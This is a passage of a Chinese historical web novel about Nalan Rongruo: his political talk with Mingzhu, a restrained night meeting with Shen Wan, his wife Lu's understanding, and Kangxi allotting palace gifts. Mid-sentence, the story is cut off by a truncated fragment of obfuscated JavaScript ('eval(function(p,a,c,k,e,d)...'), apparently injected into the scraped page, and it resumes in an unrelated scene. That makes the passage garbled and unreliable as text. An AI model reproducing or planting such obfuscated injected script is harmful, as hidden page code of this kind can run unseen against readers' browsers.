“救吴兆骞的事,容若你单方面出钱出力办不成,我明珠单方面出人面出关系也办不成,关键还得是吴兆骞自己能够让康熙皇帝看到学术学识没有作假。至于顾贞观的筹款,从他这六年年来的坚忍不拔、四处奔走救友就能看出,他会想尽一切办法,在五年内筹集到足够多的银子。” 容若清醒道:“儿不做替顾贞观筹款之事,既是珍惜自己的羽毛,也是不想让人觉得:钱款堪疑——明着是赎金,暗着是各方势力孝敬给明珠大人的赃款。” 明珠对儿子夸赞道:“你既能为阿玛着想,又能步步引导顾贞观成事,实属难得。” “罢了,顾贞观之事就先不说了。”容若问,“阿玛,最近朝务可有遇见难题?” “当下皇上最重视的,无疑是漠北蒙古不能让噶尔丹成为说一不二的统治者。隆科多一下子自导自演负伤,一下子成了收归三个部族的功臣,容若你说,佟国维对这样的儿子到底是什么态度?” “隆科多是为自己,佟国维也是为自己,倒是佟佳·景茵珠像是为了皇上。他们一家子,各有各的打算罢了。” “那皇上在日后要是重用隆科多——”明珠担心起来,“岂非大大不利于我明党?” “阿玛看得出来,皇上心中始终是不喜欢‘父子同朝为臣’的。儿的意思是,只要是明珠、索额图、佟国维三个人还站在太和殿,纳兰性德、索家公子、隆科多就不可能以‘殿上臣’的身份同在,唯有另任它职,以尽忠责。” “所以,容若你已经猜到皇上给隆科多的恩旨的大致内容了?也已经大致可以预测隆科多回朝后的前途了?” 容若点头,“隆科多的功绩,一概按照朝廷的规章来赏;隆科多的前途,他本身就已经是带刀侍卫了,要是再往上升,则是成了与九门提督并重的护城要职武官,皇上不会让佟国维的儿子来担任这个重要位置。” 在明珠共同琢磨的目光中,容若道:“儿猜测,隆科多的职务不会变。他自身也会因此而谢恩皇上。” 明珠问:“也就是说,他对皇上有愧,不能讲出口也不能邀功?” 容若没在阿玛面前提隆科多跟德嫔之间的事,只道: “隆科多去北蒙古为国效力,动机更多的是避免自己被追责,拿下留名史册的战功倒是次要。儿的意思是,隆科多是个有血有肉、敢爱敢恨的满洲男儿,他的骨子里,自傲自私与轰轰烈烈平分秋色。” 在明珠明晓了的目光中,容若念及了自己:“我纳兰容若可以猜到和预测别人的将来,却偏偏自主不了自己,的确遗憾。” “这不是你的问题。”明珠正色,对儿子道,“而是在康熙皇帝心中,你跟谁都不一样,他才会用自己真真实的一面和最真实脾气对待你。” “阿玛您说,这是儿的福气?还是儿的悲剧?” “阿玛只能说,还是那个词:是你的宿命。” 宿命。宿命不分悲喜离合,得失皆天定。 仿佛有花瓣落下,浮在佛前的潭水之上,于芸芸众生无声,于大千世界无碍,飘零向无尽海,独自静好。 容若笑了笑,展开桌面的苏扇看。 扇面上,有着江南山水的美意:西子湖畔,风烟一抹,桥横亭立,柳绿荷花新,游人双双纵赏时。 ——阿玛可曾向往过这样的生活?宁静致远,淡泊明志。 ——江南布衣顾贞观可曾如此站立?抒怀湖畔,知难而进。 容若只把苏扇放在明珠手侧,而不收合。 用意过后,他对阿玛告了辞,回到房间看自己的江南画。 灯前案上,斯人品味人生滋味。 风动帘幕,轻砌无穷心事纷飞。 容若写下《苏江月·知扇》一首: 月照人,今人不似古人。江水东流无尽期。梦境未入声先闻,蜻蛉早立蕊无心。 拟共往,十四桥边箬笠。寒浅湖水鸳鸯集。金剪空留萼上露,晚蝉鸣时罢织机。 169.第169章 夜里,沈宛偷偷潜入明府。 她来到容若的房间的窗户边,透过缝隙往里看,只盼着今日是容若独眠,自己好有个机会到他身边去、跟他说说话。 只是,房间的烛火虽然明亮,却不见意中人。 沈宛只好等待,既然来了,哪怕是等到半夜都等不到单独而归的容若,她也不怕悄悄到卢氏夫人或是颜氏侧夫人的房间外,隔窗不见,只感知自己才能感知到的公子的温度。 沈宛捡起一朵被晚风吹落到绣花鞋旁的白玉兰花瓣,盛在掌心间,幽香自来,这才最拨情思。 抬头,月色美甚,宛如洛神蝉衣落人间。 柔柔兮,澹澹云纱轻笼罩,只欠烟波为纺、风机来织。 薄薄兮,盈盈羽翼有还无,谁羡一抹透明、照影见形? 沈宛觉得自己像是一只躲栖在叶片深处的夜蝶,翅带荧光,抖落粉黛,待着东君来惜。 容若来时,翩然无声,只是开门的那一瞬间,有更强的光亮透入的眸中时,沈宛才意识到了来人。 等到了,等到了,真的太好! 确认容若后面没有别人跟着以后,沈宛终于侧身轻快而入,掩门娉婷,朝对面的公子莞尔一笑:“相思惹,心灼热,故来见。” 惜蝶人走向夜蝶,抚去蝶翅的霜露,任蝶栖息。 沈宛回过神来,已是人在容若怀中,双颊风霜尽销,温然如沐春风。 她的心是安然的。 她早已不把“夜会”当作“私见”,心有灵犀之约,何来世俗指点? 容若亦是将“意外”化作“惊喜”,优雅矜持之粘,知性理所当然。 * 沈宛拿出了那枚白玉兰花瓣,搁置在纳兰香的小香鼎侧。 “刚落的花,近小香炉也不会泛黄、卷曲。” “比水仙花瓣要好,玉兰花瓣厚实,不挑季节,也能做饮食。” “公子是说,玉兰花瓣不飘零吗?” “白玉兰花瓣才是,粉的黄的不是。” “为什么?” “我喜欢白玉兰而已。” 沈宛对眼前的生活憧憬起来,要是自己能够进入明府,哪怕住下的只是一处的偏僻小房间,也愿意将小房间打造成处处温馨的简约之所,等待容若来,共享一份“花开花谢皆寻常,人在人去皆自然”的美好。 春来有新绿,就摘取渌水池的荷叶为伞,装饰房间小窗,寻一份“香散翠莲遮碎光,红裙伊人在梳妆”的《纳兰词》意境。 夏来有风铃,就取素色小笺为他写词句,系在风铃碗下,听数声“脆脆莺啼,回首处,原是风铃诗画禅”的别致清雅。 秋来见金黄,就买来两粒秋梨,在木盆中用清水洗净,也不削皮切块,只与容若一人一个,花前月下自在吃,对他说:白首不相离。 冬来剪水仙,就早备油纸或琉璃瓶,一束花分作两半,一半包着宜捧,另一半养着宜看,相伴小火炉,听雪闻香,执棋忘语,共渡流年。 明府的四季,在渌水亭和泸水池之中,明珠大人不知,觉罗夫人不言,唯有容若和妻妾能入其中、得其意。 ——愿我沈宛,成其中人,意中妻。 * 沈宛看着容若,这份心无旁骛的安宁与宁静,独属他。 容若温声:“宛卿,你想我想的多吗?” 沈宛抚摸着容若送的镯子,反问:“难道不是因为想的多,才想着与公子得见吗?” “想的多是频率,得见是次数。”容若辨的明白,“一个在你,数不清;一个在你我,次次分明,次次能数。” “我想公子,像天上的繁星一样多。繁星向人间眨眼,人间看得见,数不清。” “今晚我们无法一起开窗看月数星。”需要避嫌,容若却在乎着沈宛的感受,“但是我得了些有金屑的高级画纸,那些金屑随机分布,嵌在之上不多不少。宛卿陪我一起作画可好?” “公子想画什么?” “画宛卿,和为宛卿画白玉兰花。” 容若与沈宛一同,立起屏风,移近灯盏。 一人取纸铺上桌案,精挑画笔;另一人研磨彩墨,素手沾香, 落笔之前,容若听见沈宛道:“公子等等,我去拿一瓣白玉兰过来。” 容若懂她的心思,却坐下,仰着头,微笑着明知故问:“宛卿是想让那片花瓣作见证?还是作陪伴?” “我呢——”沈宛眸点若颜,“是想用作对比,看看公子能把白玉兰花画的有多像。” 容若挪开左臂的一本书,腾出空位来留给花瓣。 对宛卿道:“你便是知道我的心思,只会把白玉兰花瓣当成情之信物,而不是参考物。” * 伊人在侧,朵瓣在案,容若神韵俱在胸中,运笔行云流水。 夜蝶的翅膀,在台上烛火中是繁星落睛的闪烁灵动,容若只画其中半侧蝶翅的花纹,将另一半留给他的宛卿来画。 沈宛并未仿照容若的笔描来完全复刻图案,让夜蝶的双翅同样,而是将那片玉兰花瓣放在画纸上,沿边画出轮廓。 翅膀加了一层轮廓的夜蝶,更是栩栩如生,双翅一大一小的错落感,叫容若直夸:“生动,神妙。” 接下来,沈宛才拿起画笔来补足图案: 她参考着自己今夜的衣装与心情,将夜蝶的半翅作了淡化色泽的处理,再绘以吉祥纹和精修细节,觉得“万无一失”了,才放心地叫容若点评。 “极好!”容若弯腰近看,“一蝶动全画,光影感恰是在月下,整体感恰是合视觉;哪怕是只作局部看,也自成《灵蝶图》,可以裁剪而藏惜。宛卿所落,是点睛之笔,我自愧弗如。” “我只是在公子的蝶趣之中灵光一闪罢了,没有公子说得厉害。” “我的宛卿从不这般谦虚,今晚是为什么?” “没什么。” ——只是想要胜过夸赞的爱抚。 沈宛搁笔,双手背在身后,等待容若反应。 “你呀,就不怕我当了真,真觉得没什么?” ——反话反话,我其实就爱较真,尤其是。 容若自顾自笑,尽在不言中。 “请公子接着画,把画的背景画全。” ——夸赞与爱抚之后,我想与公子。 才把画笔递上,沈宛就情不自禁地睫毛一颤,心中小鹿乱撞,双颊绯红飞桃。 “尤其是在宛卿面前,要把宛卿的自谦当作‘才情满时,罗帐待开’解。” 容若相信,这句省略了前奏的话,沈宛能够全懂。 “我想与公子春宵与共。再开罗帐时,欢愉抱尽、红烛燃消,痴情人黎明别时情难消。” 沈宛赌了一把,无需点明,容若也知她所想,予她所愿。 * 收笔后的第一句话,容若说的是:“落在玉兰花上的夜蝶是你,宛卿。” 沈宛喜不自禁,“我知道,公子的画是为我画的,我回去的时候,这幅画《夜蝶白玉兰图》也是归我的。” “只有宛卿才能似蝶落我心尖。”容若拿起花瓣,微按心脏,问她,“就当我房间外的白玉兰树是为你栽种的,可好?” “那容若你的夜蝶,定会常来,在容若你需要的时候。” “常来,需要。宛卿的话,前后矛盾。” “请公子倒着念——” “因为容若需要宛卿,所以宛卿常来。” “唔。啊?”念着念着,容若就笑了,“……啊,我明白了。你这个小机灵鬼。” “任性博公子欢喜。”沈宛同乐,在容若耳边,声线中爱意缠绵,“公子才有的特权。” “明明是你自许自有的特权。”容若出她意料地揽过她的腰,“我喜欢。” ——喜欢宛卿你,也喜欢你的做法。 然后,在沈宛侧头的那一瞬间,容若一个蜻蜓点水似的轻吻落在了她的脸上。 ——喜欢宛卿你,所以我要把此刻的、日后也不变的爱意给予你。 罗帐之中,香软人温,臂弯沉醉。 然而,却未到悱恻缠绵、逾越了规矩的那一步。 给予归给予,贪欢归贪欢,二者有着本质的不同。 容若要是在正妻卢氏怀孕期间,担了一个悄宠沈氏女的名声,以至于生米煮成熟饭,不得不给沈氏女一个小妾的名份,那么无疑会遭天下人唾骂。 沈宛要是趁虚而入、有意引纳兰公子上钩,只为嫁入名门夺爱,那么别说明珠容不下,太皇太后孝庄也能一道懿旨下来处死。得不偿失,何须自寻死路? “容若,你我今夜,至情而不入情,彼此对得起每一个相关的人。” “只恨我未能给宛卿男女欢爱,唯让宛卿感受:两心相近时,抱拥不负欠。青丝枕臂弯,相离不舍梳。” “会有的,我与公子暖帐彻宵,放下一切顾虑的夜晚。会有的,我为公子怀上孩子的那一天。” 容若伸出小指,满怀真挚,“我纳兰性德与沈宛约定,今生今世,必不欠沈宛:罗帐之中春宵事,院落之内孩童影。” “公子一诺千金,沈宛铭记在心。” 沈宛相信容若,与容若小指相钩,复十指相扣。 * 沈宛带着容若的画和他所赠予的金屑高级画纸而归。 踏着轻功,穿梭在夜幕中,沈宛觉得脸颊上和唇上的余温尚在。 容若的气息,容若的声音,容若的适可而止,都将一个“情”字诠释的极致完美。 沈宛回到住处,将盖了容若的印章的《夜蝶白玉兰图》挂在自己的房间中的显眼位置。 等到天色全亮,她才发觉这幅画有另一番赏观美感: 蝶似翩然立在晨间花蕊中,翅膀上的暗夜星屑,早已换成透窗而入的阳光跃碎,一样的闪亮,那种想要冲破时空局限的蝶意,跟自己与容若想要打破世俗门第偏见的本意,何曾有别? 白玉兰树月下留影,算几番离合,明月清晖不与有情人争弄。词笔勾勒,感情路漫漫,枕入罗帐瑶席,才觉枝头双宿鸟,何时已逐夜华去? 幸得光影春风里,玉盏瑶浆,原是白瓣蜜蕊,都做画中更替日月。 此刻,沈宛则是拿出了那片玉兰花瓣来—— 浸了浸师父宋应星在《天工开物》之中所教授的、能够让鲜花变成永生花的“洛沁水”,稍作晾置,等待吃过早膳过后,再回到房里来对花瓣进行雕刻,然后贴在蝴蝶的翅膀上。 她觉得这是一种仪式感,也是一种对容若倾注爱意的方式。 爱是永恒的,花是不败的,画是永存的。 心是互通的,人是相爱的,情是真挚的。 如此蝴蝶便能飞过沧海,夜蝶便能飞向光明。 一画一真心,菩提向比邻,双宿双飞天星。 一卷一若笔,冰清情达抵,比翼连枝相许。 沈宛笑着:“何需王维诗画禅?” 纳兰容若诗画堪能,不显摆于世、不愿为康熙皇帝所窃画才罢了。 康熙皇帝能够夺走纳兰容若的词和赋,能够独占纳兰容若的一切作品,唯独错失了他的画才,这算不算是容若藏在心底的缝隙中的一环? * 清早。 颜氏侧夫人捧了送子观音前去卢氏正夫人房中。 “请正夫人好。”袖云礼貌地问候卢氏,“正夫人有喜,添子添福,添丁添喜,纳兰家子嗣延绵。袖云特意去全京华最灵验的寺庙请了这尊‘送子观音像’回来,祈愿正夫人平安生产,公子多子多女,老爷和觉罗人与膝下孙辈共享天伦。” “袖云妹妹有心了。”卢氏让房中照顾的小丫鬟代为接下,“公子和额娘都是懂佛理和能悟禅的人,又有妹妹心怀虔诚,字字句句将好的发愿说与菩萨听,菩萨怎能不成全?” “正夫人是有福报之人,日常行善,心胸宽厚,积德之人必定是生活美满,儿孙满堂。”袖云坐到卢氏身边,“前些天袖云还听觉罗夫人说,老爷已经开始为孙辈们规划住处了,可不就是盼着袖云和姐姐你都能够平平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“方才,公子说是在家里‘约见’了宛姑娘,而不是‘私会’。”卢氏平和道,“尔谖便是能够体会公子的心情,既是想与宛姑娘成就情缘,又是拘谨于礼教规矩,只能珍惜悄见的一晌欢。” “尔谖,我自知再如何谨慎用词,也有对不住你的地方。”容若捂着自己的心,“我明知道自己当下再如何与宛卿续缘,将来也没法将她明媒正娶进明府,却还是禁不住要去迎夜蝶,看夜蝶翩跹——不做尘世俗流逐歌楼当中花,甘做纳兰笔下一词一画境中月。” “公子是个多情之人,多情人自有剪不断理还乱的多情事。所以尔谖不会觉得公子跟宛姑娘之间的情爱有伤夫妻之间的感情。” “尔谖,我只是觉得自己需要这么一位江南出身的汉家才女,那是一种早已从‘新鲜感’过度到了‘依存感’的爱情。” “尔谖明白。”卢氏道,“公子心中分得清主次,但又有着宛姑娘的地位,才会患得患失、她来之则公子见之则安。” “我已是一个当了阿玛的人,还有正妻即将出生的孩子要降临,却还是把心留了些不可替代的位置给进不了家门的女子,也无妨吗?” “明府是公子的大家,倘若公子肯给宛姑娘一个小家,想必彼此都能方便些。” ——宛卿有家。 容若无法对卢氏说出这四个字。 有家的概念,可以理解为沈宛有安置之所,也可以理解为沈宛有安身立命之地,并非他为她安排一处小院就能得欢悦之好的。 容若低着头,正妻越是宽容贤淑和理解宽善,他就越是觉得自己愧疚无比。 那种自己跟沈宛明明没有过越矩行为,却被徒然自生的“辜负了正妻卢氏”的内疚感所缠绕着的困惑,扎疼着容若的心。 * 看罢奏折,歇息的空隙,玄烨在养心殿内喝着施琅将军进献的武夷大红袍,心情清朗。 顾总管道:“施琅将军把福建鼎好的东西送给万岁爷,明索两家都是没有的,可见是对朝廷忠心了。” “你要说索额图没有,朕相信。”玄烨下意识道,“但要说纳兰没有,朕不信。” 顾总管赔笑:“万岁爷要是不信,何不亲口问问纳兰公子?” “朕等纳兰进宫,就看他什么时候来。”玄烨像是心里有数一般,“朕早准了他进出自由。” 梁九功从外头进来,道:“启禀万岁爷,江宁织造送来了春季适用的蚕丝云锦、团扇和宫花,内务府的噶禄总管正在外头等着求见万岁爷呢,为的是如何给后宫的各位主儿分配这些好东西的事。” “这些事,”玄烨揉了揉太阳穴,“不是一向由皇后做主吗?怎么内务府总管要亲自来找朕拿主意了?” 梁九功道:“回皇上,皇后娘娘说了,接下来后宫的头一件喜事,就是给新人和资历老的嫔妃们进位分。在此之前,赏赐之事最是马虎不得的,多了或是少了,赏对了或是赏错了,都会令人猜测,所以才叫了噶禄总管来见皇上。” “朕知道了。”玄烨一扬手,“叫内务府总管进来吧!” “奴才噶禄叩见皇上,皇上吉祥。” “起来吧!你把那些已经分类造册登记过的条品目录,上呈给朕看看。” “是。” 玄烨看罢,下了口谕: “宫花即生丝经过煮熟和染色后,所制成的绒花,谐音荣华,工艺复杂,珍贵难得。理应将其中的多数色彩好看的、花型漂亮的赏赐给皇后,剩余的随机赐给:惠妃荣妃宜妃意妃德嫔各一朵。” “朕的后宫,汉人妃子不多,就将蚕丝团扇赐给她们赏玩;而蚕丝云锦,端庄大方、沉练稳实的料子自然是送到慈宁宫去孝敬太皇太后,其余色彩艳丽、朝气鲜明的料子,就赏给四妃之外的妃位主子、德嫔之外的嫔位主子和贵人位分的妃子吧!” “剩余的常在、答应、官女子等,各赐蚕丝丝络小把。以上。” 噶禄总管道:“奴才都记下了,谢皇上明示。” 玄烨道:“你去给皇后回话的时候,告诉皇后,朕今明两晚都在坤宁宫安置。” 【注1】卢氏与容若未成亲前,夜间彼此救赎,见第111章后半部分。